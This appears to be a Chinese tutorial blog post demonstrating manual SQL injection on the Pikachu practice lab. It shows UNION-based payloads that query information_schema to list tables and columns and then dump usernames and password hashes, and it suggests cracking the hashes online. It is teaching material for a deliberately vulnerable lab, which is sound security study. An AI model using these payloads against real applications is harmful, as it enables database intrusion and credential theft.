admin管理员组

文章数量:1638924

目录

            • 通过information_schema拿下数据库

通过information_schema拿下数据库

手工测试完整案例演示

通过前期的信息获取,到最终拿下整个数据库的敏感数据,我们切换到数据库的操作页面上去,

#获取表名:
select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';

在数据库里面,是可以跨数据库查询的,你只要把数据库的名字写在前面就可以了

pikachu数据库一共有多少张表,表的名称是什么

我们切换到pikachu里面去,

use pikachu;

在这个地方操作一下,

select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';


这个就是联合查询,跨数据库到information_schema.tables表里面,去获取相关信息的操作

我们切换到pikachu上面去,站在测试者的角度,确认这个地方是否存在sql注入,以及确认它存在sql注入之后,我们如何通过自己的知识,获取里面的数据

基于报错,使用它返回的结果做逻辑判断,判断这个地方是否存在sql注入,这个时候,我们简单的用单引号做一个测试,输入一共单引号,点查询。

'


发现它报了一个语法错误,根据这个错误,我们能够知道,我们的单引号已经被拼接到sql里面去了,也就是说这个地方是存在sql注入漏洞的,它会把前端的输入当作逻辑的一部分去判断

我们猜测它是字符型的,所以我们可以用单引号、双引号,去做一个相关的测试

kobe' or 1=1#


发现可以遍历出数据,遍历出表里面的数据,并不能达到我们的要求

这个时候,我们可以获取一下基础信息,同样的,我们用这个payload去做测试,

kobe' order by 3#

用联合查询,联合查询之前,我们要order by一下,来确认一下,主查询里面有多少个字段


它报列错误,

kobe' order by 2#


发现它可以查询出来,通过比较,我们可以知道主查询有两个字段,确认有两个字段之后,我们就可以上union,做联合查询

首先我们要获取基础信息,因为根据我们之前学的知识,如果我们想进一步获取information_schema里面的数据,我们至少要能够知道当前数据库示例的名称,

kobe' union select database(),user()#

发现,我们已经把数据库的名称搞出来了,拿到数据库名称之后,我们可以尝试用information_schema获取数据,我们构造一个payload

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


这个地方,就可以拿到对应的数据

我们来做进一步的分析,通过表的名称,我们看到这个地方有个users,我们后端的账号密码是不是都存在这个表里面,我们来做进一步的测试

当我们知道表的名称之后,我们想知道表的列,information_schema.columns表里面存着列的名称,所以我们按照刚刚的思路去构造payload,

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


我们看到许多相关的字段,username、password,我们就知道它里面有账号密码,我们只要把账号密码查出来,那我们不就可以拿到表里面的账号密码信息

kobe' union select username,password from users#


根据我们的经验,一看这个密码就是做过处理的,我们可以在互联网上找一些解密的网站,做一些碰撞,来解出它的明文

本文标签: 演示案例数据库informationschema